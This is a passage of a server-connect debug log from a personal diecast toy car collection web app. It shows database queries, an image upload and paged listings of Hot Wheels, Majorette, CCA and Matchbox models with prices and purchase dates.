      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:31:23.903Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T06:31:23.903Z server-connect:app Executing action step select
2026-02-04T06:31:23.903Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:31:23.904Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T06:32:43.590Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:32:43.591Z server-connect:app Executing action step identify
2026-02-04T06:32:43.591Z server-connect:app options: { provider: 'security' }
2026-02-04T06:32:43.591Z server-connect:output identity: 1
2026-02-04T06:32:43.591Z server-connect:app Executing action step restrict
2026-02-04T06:32:43.591Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:32:43.592Z server-connect:output restrict: undefined
2026-02-04T06:32:43.592Z server-connect:app Executing action step condition
2026-02-04T06:32:43.592Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:32:43.592Z server-connect:app Executing action step insert
2026-02-04T06:32:43.592Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:32:43.594Z server-connect:output insert: { affected: 1, identity: 152 }
2026-02-04T06:32:43.594Z server-connect:app Executing action step condition
2026-02-04T06:32:43.594Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T06:32:43.594Z server-connect:app Executing action step upload
2026-02-04T06:32:43.594Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:32:43.595Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T06:32:43.595Z server-connect:upload Process fields: 'images[]'
2026-02-04T06:32:43.595Z server-connect:upload Processing file: {
  name: 'Screenshot 2026-02-04 105359.png',
  data: <Buffer >,
  size: 1093753,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-20-20378841770186763586',
  truncated: false,
  mimetype: 'image/png',
  md5: '125dc77850e8ff1668babf0270ecb160',
  mv: [Function: mv]
}
2026-02-04T06:32:43.595Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105359_5d39bffd-2787-444a-a1aa-cf81073747c1.png',
  rel: 'public/assets/images/diecast/Screenshot_2026-02-04_105359_5d39bffd-2787-444a-a1aa-cf81073747c1.png'
}
2026-02-04T06:32:43.595Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105359_5d39bffd-2787-444a-a1aa-cf81073747c1.png',
  rel: 'assets/images/diecast/Screenshot_2026-02-04_105359_5d39bffd-2787-444a-a1aa-cf81073747c1.png'
}
2026-02-04T06:32:43.595Z server-connect:output upload_image: [
  {
    name: 'Screenshot_2026-02-04_105359_5d39bffd-2787-444a-a1aa-cf81073747c1.png',
    path: '/public/assets/images/diecast/Screenshot_2026-02-04_105359_5d39bffd-2787-444a-a1aa-cf81073747c1.png',
    url: '/assets/images/diecast/Screenshot_2026-02-04_105359_5d39bffd-2787-444a-a1aa-cf81073747c1.png',
    type: 'image/png',
    size: 1093753
  }
]
2026-02-04T06:32:43.595Z server-connect:app Executing action step repeat
2026-02-04T06:32:43.595Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T06:32:43.595Z server-connect:app Executing action step insert
2026-02-04T06:32:43.595Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T06:32:43.596Z server-connect:output images: { affected: 1, identity: 171 }
2026-02-04T06:32:43.596Z server-connect:output repeat_images: [ {} ]
2026-02-04T06:32:43.596Z server-connect:output condition: undefined
2026-02-04T06:32:43.596Z server-connect:output condition: undefined
2026-02-04T06:32:43.808Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:32:43.809Z server-connect:app Executing action step identify
2026-02-04T06:32:43.809Z server-connect:app options: { provider: 'security' }
2026-02-04T06:32:43.809Z server-connect:output identity: 1
2026-02-04T06:32:43.809Z server-connect:app Executing action step restrict
2026-02-04T06:32:43.809Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:32:43.809Z server-connect:output restrict: undefined
2026-02-04T06:32:43.809Z server-connect:app Executing action step paged
2026-02-04T06:32:43.809Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:32:43.813Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 134,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:34:11.297Z server-connect:router Serving templateView /diecast
2026-02-04T06:34:11.297Z server-connect:app Executing action step identify
2026-02-04T06:34:11.297Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:11.297Z server-connect:output identity: 1
2026-02-04T06:34:11.297Z server-connect:app Executing action step restrict
2026-02-04T06:34:11.297Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:34:11.298Z server-connect:output restrict: undefined
2026-02-04T06:34:11.298Z server-connect:router Render template layouts/main
2026-02-04T06:34:11.299Z server-connect:router Template data: {
  '$value': undefined,
